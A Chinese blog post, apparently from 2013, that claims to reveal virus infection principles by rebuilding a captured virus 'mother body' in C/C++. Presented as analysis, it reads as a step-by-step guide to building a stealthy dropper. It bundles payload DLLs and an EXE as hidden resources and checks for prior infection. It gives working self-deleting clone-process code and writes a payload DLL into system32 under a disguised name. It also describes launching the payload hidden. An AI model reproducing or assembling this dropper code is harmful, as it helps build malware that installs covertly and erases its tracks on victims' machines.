现在的位置: 首页 > 综合 > 正文

从编程角度揭示病毒感染原理–之天蝉变(剖开病毒母体)

2013年09月06日 ⁄ 综合 ⁄ 共 5832字 ⁄ 字号 评论关闭

从编程角度揭示病毒感染原理--之天蝉变(剖开病毒母体)

                    作者:冒险王(刘湘鋆)

                                     刀,是什么样的刀?金丝大环刀!
                                     剑,是什么样的剑?闭月羞光剑!
                                     招,是什么样的招?天地阴阳招!
                                     毒,是什么样的毒?让我们解剖开看看(^_^)!                              

        看过《黑客帝国》的人相信对“病毒母体”一词不会陌生!人是人他妈生的,妖是妖他妈生的,人妖也是...啊呀扯远啦~其实病毒也是病毒他妈生的!和任何动植物一样,计算机病毒也要繁殖的。虽然计算机病毒的繁殖手段很多(通过感染正常文件或网络,移动存储设备),但总的来讲其必须要有一个扩张的总部指挥所,一但你触动了它的入侵机制,那么它将向你的计算机宣战。冒险王今天带领大家去探险的地方就是病毒的母体世界-“战争的总指挥所”,看看病毒最阴险的一招——“天蝉变”。

     (一)问题的分析
      你经常会听说某某病毒在某某路径下有某些病毒文件(木马居多),这些文件类型有DLL文件,EXE文件,log日志文件等等。你有时可能会郁闷,明明中了一个毒,为什么清除起来就那么麻烦呢?是的,那些病毒可没你想象的那么简单。没发作前其确实只有一个程序文件,有些不起眼。但你得相信那只是暴风雨来临之前的宁静。因为真正的阴谋正在黑暗中酝酿。我们且看看这个葫芦里装的是什么药。

       在这个波涛汹涌的网络中,我很快的捕获了一个病毒(很多人对病毒名字,类型和发作症状等比较重视,但这些对于这篇文章来讲毫无意义,因为我在这只分析“总指挥所”的决策,而并非某个“机械师”的作战步骤),在我的实验环境下。我用“手术刀”将其肚子剖开,哇!它竟然是个“孕妇”。我该怎么描述呢,对于这个“母体”,虽然我不知道它的所有“胎儿”的具体功能。但就“母体”自身的结构和功能而言,我可以用自己擅长的C/C++(这两个我学糊涂了,分不清彼此了)语言来模拟出它的核心代码,只是模拟,所以我不敢说我的方法和它的方法是一样的。但从功能上看,应该区别不大。那就让我来分析它的母体吧~
    
       在它的肚子里有一些已编译好的子程序(在这称之为“子体”)。在这我不讨论子体的功能原理,我所关心的是母体将怎样安排它的子体去实现入侵。我将我要探询的目标归结如下:
     1.那些子体是怎样合并成一个母体。
      2.母体自身的一些特殊功能。
      3.母体是怎样释放子体,并指挥子体去入侵。

    (二)问题的解决
      1.让我们来关注第一个问题。我们使用的软件一般都需要安装,就算是绿色软件,也通常是由多个文件组成的。软件开发者为了方便用户,通常会将其软件的众多子文件打包成一个安装程序。这是一个非常实用的方法,方面了用户的存储和使用。很多病毒作者也很喜欢这种方法,现在的病毒功能越来越多,作者通常不会一条龙式的将其写成一个可执行文件,因为这将不利于后期的维护更新和执行效率甚至生命强度也会大大削弱。现代软件开发的模块化理念同样也适用于各种病毒。比如一款木马,我们可以为其远程监控功能专门写一个模块文件,再为其入侵系统的细节写一个模块文件,甚至再写个模块来保护其整体不被用户删除或者杀毒软件清除。不同的模块可以由不同的人或同一个人不同的时期去开发,最后再打包成一个整体。关于这些我只作粗略的介绍,言归正传。既然强大的病毒拥有不止一个模块文件,那么其必然会要将这些子模块文件打包,最后执行时就可以将子模块进行释放并且调用。这样一来,不仅入侵方便(只有一个最终文件),执行效率也提高了,更关键的是病毒的功能几乎可以无限的扩充和改进。

       但是病毒的打包方式可绝不能和正常的软件一样,因为假如你是病毒作者,那么你无论如何也无法忍受自己的病毒程序在触发时弹出一个安装提示对话框,然后提示N个“下一步”安装,哈哈。你恨不得所有的手续都一次性在瞬间完成,并且是不可见的。那么你必须要耍一些手段将子体们进行合并,就像此病毒的母体。这里我用VC6.0的自定义资源来实现,其具体步骤如下:

       步骤一:新建一个工程(作为母体)。(对于汉化版VC6.0)在“插入”菜单中选择“资源”。
       步骤二:选择“引入(M)...”按钮,将我们的子体依次添加进去,
         这里我添加了两个DLL文件和一个EXE文件,分别将它们的资源类型标为“DLL1”,“DLL2”和“EXE1”(名字任意,不过要记住)。假设DLL1为病毒主功能模块,DLL2为保护病毒进程和文件以及其他细节的模块,EXE1 为病毒DLL文件调用模块(实现如线程插入,写入注册表等 )。实际上这三个子体就能够成一个强大并且顽固的病毒(正如我所捕获的病毒母体)。它们可以通过这种方式轻松的组合在一起。当然我们新建的工程就是它们的母体。这种方法实现起来非常轻松,因为操作是可视化的,它们被当成二进制资源添加进了母体工程。所以你会在另一个窗口看到一连串的二进制代码,不用理会,先保存。最后别忘了在"工程"选项中将.rc文件导入到工程中,将资源头文件resource.h包含进去。大功告成!我们轻松的将子体们组合在一起成了一个大母体。这个病毒母体的总体框架就这样形成了。

       2.如果仅仅是以上的步骤,显然这个母体是个废品。因为它没有自身的功能,这毫无价值可言。进一步分析,我将模拟其母体自身的一些关键功能。这款病毒非常强悍,因为它具备了感染PE文件的能力,并且母体在运行后具备智能识别自己该干什么,不该干什么。比如系统已被入侵,那么母体被触发后将自动“熄火”。如果是自身单独运行,那么运行时立刻“自杀”以除痕迹(木马最常用的手段),如果是在绑定宿主文件的情况下运行,那么它将继续潜伏和生存并且丝毫不会影响到宿主文件的执行。这些功能是如何实现的呢?接下来我将模拟一段代码:
   
       首先,要在母体触发机制中判断系统是否已遭入侵。这个功能可以用查找主体子模块是否已存在于系统目录中来实现。代码如下:

bool Find(char *str1,char* str2)
{
    chdir(str1);
    long handle;
    struct _finddata_t filestruct;

    handle = _findfirst("*", &filestruct);
    if (!stricmp(filestruct.name, str2))
    {
        _findclose(handle);
        return true;
    }
    while (!(_findnext(handle,&filestruct)))
    {
        if ( !stricmp(filestruct.name, str2) )
        {
            _findclose(handle);
            return true;
        }
    }
    return false;
}

      这个自定义函数可以用来查找主文件str2是否已在预定的str1目录中。如果返回true,则母体运行后将不执行任何功能,立即熄火。那么怎样判断自己是单独运行还是和宿主文件一起捆绑运行并且可以和宿主文件协调运行的呢?我在《从编程角度揭示病毒感染原理--之乾坤大挪移(PE病毒文件感染原理)》一文里提到过利用搜索感染标记来识别是否已和其它PE文件捆绑以及自身和宿主同时运行的方法,在此不作赘述。

       那么如何做到程序在运行时删除自身文件呢?也就是程序运行时自杀的问题。玩过木马的人一定知道当配置好木马客户端程序时,只要一运行客户端程序其便立即消失。从正常的程序运行逻辑上看,此法是似乎是自相矛盾的。不过幸好前人们想出了很多巧妙的解决方案。方法很多,我举一个比较经典的技术,是Jeffrey Richter提出的,通过克隆一个临时的“自己”来达到删除真正的自己的方法,代码如下:
       此法非常精妙,哈哈多看几便就能体会其思想了,遇到生疏的API函数请自行查阅MSDN函数手册。 
   

void Delete()
{


    if (__argc   ==   1)
    {

        TCHAR   szPathOrig[_MAX_PATH],   szPathClone[_MAX_PATH];

        GetModuleFileName(NULL, szPathOrig, _MAX_PATH);

        GetTempPath(_MAX_PATH,   szPathClone);

        GetTempFileName(szPathClone,   __TEXT("Del"),   0,   szPathClone);

        CopyFile(szPathOrig,   szPathClone,   FALSE);

        HANDLE   hfile   =   CreateFile(szPathClone,   0,
                                        FILE_SHARE_READ,   NULL,   OPEN_EXISTING,   FILE_FLAG_DELETE_ON_CLOSE,   NULL);




        TCHAR   szCmdLine[512];

        HANDLE   hProcessOrig   =   OpenProcess(SYNCHRONIZE,   TRUE,   GetCurrentProcessId());

        wsprintf(szCmdLine,   __TEXT("%s   %d   /"%s/""),   szPathClone,   hProcessOrig,   szPathOrig);

        STARTUPINFO si = { sizeof(si) };


        PROCESS_INFORMATION   pi;

        CreateProcess(NULL,   szCmdLine,   NULL,   NULL,   TRUE,   0,   NULL,   NULL,   &si,   &pi);

        CloseHandle(hProcessOrig);

        CloseHandle(hfile);

    }
    else
    {

        HANDLE   hProcessOrig   =   (HANDLE)   _ttoi(__targv[1]);

        WaitForSingleObject(hProcessOrig,   INFINITE);

        CloseHandle(hProcessOrig);

        DeleteFile(__targv[2]);

    }

}

       拥有了以上的系列功能,此时的母体就是一个航空母舰了。虽然自身战斗能力不强,但是配合其子体功能,其整体战斗力是非常强悍的。当然我们最关心的还是她最后的杀手锏-释放并指挥子体去入侵系统。

       3.万事具备后,只要母体一被触发。那么其绝招-“天蝉变”就使出来了。回顾开头,我们将子体以自定义资源的形式添加进母体。这里我们就要在母体中将子体释放出来进行调用了。要使用母体内的自定义资源,我们要用到的几个API函数有FindResource、LoadResource和LockResource等,这里每一个函数的返回值分别作为下一个函数的参数,我来简要介绍一下。

FindResource用来在一个指定的模块中定位所指定的资源:

HRSRC FindResource(
    HMODULE hModule,              //包含所需资源的模块句柄,如果是程序本身,可以置为NULL
    LPCTSTR lpName,               //可以是资源名称或资源ID
    LPCTSTR lpType                //资源类型,在这里也就是我们自己指定的资源类型
);



   LoadResource用来将所指定的资源加载到内存当中;

HGLOBAL LoadResource(
    HMODULE hModule,               //模块句柄,同上
    HRSRC hResInfo                 //需要加载的资源句柄,这里也就是FindResource的返回值
);

        
LockResource用来锁定内存中的资源数据块,它的返回值也就是我们要使用的直系指向资源数据的内存指针; 

LPVOID LockResource(
    HGLOBAL hResData            //指向内存中要锁定的资源数据块,这里也就是LoadResource的返回值
);

        
  另外我们还需要用SizeofResource来确定资源的尺寸,我们在操作资源时要用到它。在资源使用完毕后我们不需要使用UnlockResource和FreeResource来手动地释放资源,因为它们都是16位Windows遗留下来的,在Win32中,在使用完毕后系统会自动回收。它们的使用很简单,我先释放DLL1模块文件,核心代码如下:
    

BOOL bRt = FALSE;
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_DLL1), TEXT("DLL1"));
if (NULL == hRsrc)
{
    return FALSE;
}

DWORD dwSize = SizeofResource(NULL, hRsrc);
if (0 == dwSize)
{
    return FALSE;
}

HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
if (NULL == hGlobal){ return FALSE;
}


LPVOID pBuffer = LockResource(hGlobal);
if (NULL == pBuffer)
{
    return FALSE;
}


FILE* fp = fopen("C://WINDOWS//system32//Winks.DLL", "wb");
if (fp != NULL)
{
    if (dwSize == fwrite(pBuffer, sizeof(char), dwSize, fp))
        bRt = TRUE;
    fclose(fp);
}

   
        如此,我便将母体内的子体DLL1模块释放的系统目录下,并且命名为Winks.dll。同样的道理我再释放DLL2模块文件和EXE1模块文件。这样一来所有的子体都被秘密按插到系统的关键或隐蔽位置。最后用WinExec("可执行文件完整路径",SW_HIDE)来运行那个EXE文件,按下真正的病毒引爆器。到此,这款病毒母体已经完成了它的所有使命。此时EXE文件会触发两个DLL文件,从而让真正的病毒体运行,我猜它会将两个DLL文件分别按插进不同的系统进程中,两者相互监视和保护,几乎坚不可摧啦!

       好啦,时间关系就先到这了。通过这个特殊的例子希望能让你对病毒母体作个大概的了解。

抱歉!评论已关闭.